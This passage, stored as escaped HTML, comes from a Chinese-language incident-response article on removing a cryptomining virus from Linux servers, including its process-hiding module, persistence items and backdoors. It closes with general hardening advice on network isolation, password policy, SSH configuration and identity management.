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-a\u89e3\u9501&#xff0c;\u518d\u8fdb\u884c\u6e05\u7406&#xff1b;<\/li>\n<li>\u5fc5\u987b\u6839\u9664\u8fdb\u7a0b\u9690\u85cf\u6a21\u5757&#xff1a;\u5f53\u51fa\u73b0\u201cCPU\u6ee1\u8d1f\u8f7d\u4f46\u65e0\u9ad8\u8017\u8fdb\u7a0b\u201d\u65f6&#xff0c;\u4f18\u5148\u6392\u67e5\/etc\/ld.so.preload\u548c\u7cfb\u7edf\u5e93\u76ee\u5f55&#xff0c;\u5220\u9664\u8fdb\u7a0b\u9690\u85cf\u6a21\u5757\u662f\u89e3\u51b3\u8be5\u95ee\u9898\u7684\u5173\u952e&#xff1b;<\/li>\n<li>\u5fc5\u987b\u5168\u7ef4\u5ea6\u6e05\u7406\u6301\u4e45\u5316\u9879&#xff1a;\u6316\u77ff\u75c5\u6bd2\u7684\u6301\u4e45\u5316\u9879\u8986\u76d6\u8ba1\u5212\u4efb\u52a1\u3001\u542f\u52a8\u811a\u672c\u3001systemd\u670d\u52a1\u3001bash\u914d\u7f6e\u7b49\u591a\u4e2a\u7ef4\u5ea6&#xff0c;\u5fc5\u987b\u9010\u4e00\u6e05\u7406\u3001\u6821\u9a8c&#xff0c;\u7f3a\u4e00\u4e0d\u53ef&#xff1b;<\/li>\n<li>\u5fc5\u987b\u5c01\u5835\u540e\u95e8\u4e0eIOC&#xff1a;\u6e05\u7406\u75c5\u6bd2\u53ea\u662f\u201c\u6cbb\u6807\u201d&#xff0c;\u5c01\u5835\u540e\u95e8\u7528\u6237\u3001SSH\u5bc6\u94a5\u3001\u6076\u610fIOC&#xff0c;\u8865\u9f50\u8eab\u4efd\u8ba4\u8bc1\u77ed\u677f\u624d\u662f\u201c\u6cbb\u672c\u201d&#xff0c;\u9632\u6b62\u4e8c\u6b21\u5165\u4fb5&#xff1b;<\/li>\n<li>\u5fc5\u987b\u8fdb\u884c\u591a\u7ef4\u5ea6\u6548\u679c\u9a8c\u8bc1&#xff1a;\u6e05\u7406\u5b8c\u6210\u540e&#xff0c;\u9700\u4ece\u8d44\u6e90\u3001\u8fdb\u7a0b\u3001\u7f51\u7edc\u3001\u65e5\u5fd7\u3001\u4e1a\u52a1\u7b49\u591a\u7ef4\u5ea6\u8fdb\u884c\u6301\u7eed\u9a8c\u8bc1&#xff0c;\u786e\u4fdd\u75c5\u6bd2\u65e0\u6b8b\u7559\u3001\u670d\u52a1\u5668\u4e0e\u4e1a\u52a1\u5747\u6062\u590d\u6b63\u5e38\u3002<\/li>\n<h4>&#xff08;\u4e8c&#xff09;\u4f01\u4e1a\u884c\u4e1a\u670d\u52a1\u5668\u7cfb\u7edf\u6027\u5b89\u5168\u5efa\u8bae<\/h4>\n<p>\u7ed3\u5408\u672c\u6b21\u4e8b\u4ef6\u7684\u6839\u672c\u539f\u56e0&#xff0c;\u9488\u5bf9\u4f01\u4e1a\u884c\u4e1a\u670d\u52a1\u5668\u7684\u5b89\u5168\u9632\u62a4\u9700\u6c42&#xff0c;\u5236\u5b9a\u4e86\u8986\u76d6\u7f51\u7edc\u67b6\u6784\u3001\u8eab\u4efd\u8ba4\u8bc1\u3001\u9632\u62a4\u4f53\u7cfb\u3001\u5b89\u5168\u7ba1\u7406\u3001\u4eba\u5458\u57f9\u8bad\u7684\u7cfb\u7edf\u6027\u5b89\u5168\u5efa\u8bae&#xff0c;\u63a8\u52a8\u4f01\u4e1a\u5355\u4f4d\u4ece\u201c\u5355\u70b9\u9632\u62a4\u201d\u5411\u201c\u4f53\u7cfb\u5316\u9632\u62a4\u201d\u5347\u7ea7&#xff0c;\u7b51\u7262\u4f01\u4e1a\u670d\u52a1\u5668\u5b89\u5168\u9632\u7ebf\u3002<\/p>\n<h5>1. \u5b8c\u5584\u7f51\u7edc\u9694\u79bb\u67b6\u6784&#xff0c;\u675c\u7edd\u6838\u5fc3\u8d44\u4ea7\u66b4\u9732<\/h5>\n<ul>\n<li>\u4e25\u683c\u5212\u5206\u79c1\u7f51\u3001\u4f01\u4e1a\u5916\u7f51\u3001\u4e92\u8054\u7f51\u4e09\u5927\u5b89\u5168\u57df&#xff0c;\u5b9e\u73b0\u6838\u5fc3\u4f01\u4e1a\u670d\u52a1\u5668\u4e0e\u5916\u7f51\u7684\u7269\u7406\u6216\u903b\u8f91\u9694\u79bb&#xff0c;\u6e05\u7406\u5197\u4f59\u7684\u8def\u7531\u89c4\u5219&#xff0c;\u9632\u6b62\u79c1\u7f51\u670d\u52a1\u5668\u610f\u5916\u66b4\u9732\u4e8e\u5916\u7f51\u73af\u5883&#xff1b;<\/li>\n<li>\u6536\u7d27\u9632\u706b\u5899\u3001\u8def\u7531\u5668\u7684\u5b89\u5168\u7b56\u7565&#xff0c;\u4ec5\u5f00\u653e\u4e1a\u52a1\u5fc5\u9700\u7684\u7aef\u53e3\u4e0e\u534f\u8bae&#xff0c;\u5c01\u5835\u975e\u4e1a\u52a1\u7528\u9014\u7684\u7aef\u53e3&#xff0c;\u5bf9\u6240\u6709\u5165\u7ad9\u3001\u51fa\u7ad9\u6d41\u91cf\u8fdb\u884c\u4e25\u683c\u7684\u8bbf\u95ee\u63a7\u5236&#xff1b;<\/li>\n<li>\u91c7\u7528\u201c\u5821\u5792\u673a&#043;VPN\u201d\u7684\u65b9\u5f0f&#xff0c;\u5b9e\u73b0\u5bf9\u4f01\u4e1a\u670d\u52a1\u5668\u7684\u8fdc\u7a0b\u8fd0\u7ef4&#xff0c;\u6240\u6709\u8fd0\u7ef4\u64cd\u4f5c\u5747\u901a\u8fc7\u5821\u5792\u673a\u8fdb\u884c&#xff0c;\u675c\u7edd\u76f4\u63a5\u7684\u5916\u7f51\u8bbf\u95ee\u3002<\/li>\n<\/ul>\n<h5>2. \u5f3a\u5316\u8eab\u4efd\u8ba4\u8bc1\u4f53\u7cfb&#xff0c;\u5b88\u4f4f\u7b2c\u4e00\u9053\u5b89\u5168\u9632\u7ebf<\/h5>\n<ul>\n<li>\u5168\u9762\u63a8\u884c\u5f3a\u53e3\u4ee4\u7b56\u7565&#xff1a;\u5236\u5b9a\u4f01\u4e1a\u5355\u4f4d\u7edf\u4e00\u7684\u53e3\u4ee4\u7ba1\u7406\u89c4\u8303&#xff0c;\u8981\u6c42\u6240\u6709\u670d\u52a1\u5668\u3001\u7f51\u7edc\u8bbe\u5907\u3001\u5e94\u7528\u7cfb\u7edf\u7684\u53e3\u4ee4\u91c7\u7528\u201c\u5927\u5c0f\u5199\u5b57\u6bcd&#043;\u6570\u5b57&#043;\u7279\u6b8a\u7b26\u53f7\u201d\u7684\u590d\u6742\u7ec4\u5408&#xff0c;\u957f\u5ea6\u226512\u4f4d&#xff0c;\u6bcf90\u5929\u5f3a\u5236\u66f4\u6362&#xff0c;\u4e25\u7981\u4f7f\u7528\u9ed8\u8ba4\u53e3\u4ee4\u3001\u5f31\u53e3\u4ee4&#xff0c;\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u6821\u9a8c\u53e3\u4ee4\u5f3a\u5ea6&#xff1b;<\/li>\n<li>\u4f18\u5316SSH\u670d\u52a1\u914d\u7f6e&#xff1a;\u6240\u6709Linux\u670d\u52a1\u5668\u7981\u7528root\u76f4\u63a5\u767b\u5f55\u3001\u7981\u7528\u5bc6\u7801\u8ba4\u8bc1&#xff0c;\u4ec5\u5141\u8bb8SSH\u5bc6\u94a5\u8ba4\u8bc1&#xff0c;\u914d\u7f6e\u8bbf\u95ee\u767d\u540d\u5355\u4e0e\u6700\u5927\u8ba4\u8bc1\u5c1d\u8bd5\u6b21\u6570&#xff0c;\u90e8\u7f72fail2ban\u7b49\u9632\u62a4\u8f6f\u4ef6&#xff1b;<\/li>\n<li>\u7edf\u4e00\u8eab\u4efd\u8ba4\u8bc1\u4e0e\u6743\u9650\u7ba1\u7406&#xff1a;\u642d\u5efa\u4f01\u4e1a\u5355\u4f4d\u7edf\u4e00\u7684\u8eab\u4efd\u8ba4\u8bc1\u5e73\u53f0&#xff0c;\u5b9e\u73b0\u5bf9\u6240\u6709\u670d\u52a1\u5668\u3001\u8bbe\u5907\u7684\u5355\u70b9\u767b\u5f55\u4e0e\u6743\u9650\u7edf\u4e00\u7ba1\u7406&#xff0c;\u4e3a\u7528\u6237\u5206\u914d\u6700\u5c0f\u5fc5\u8981\u6743\u9650&#xff0c;\u675c\u7edd\u8d8a\u6743\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n<h5>3. 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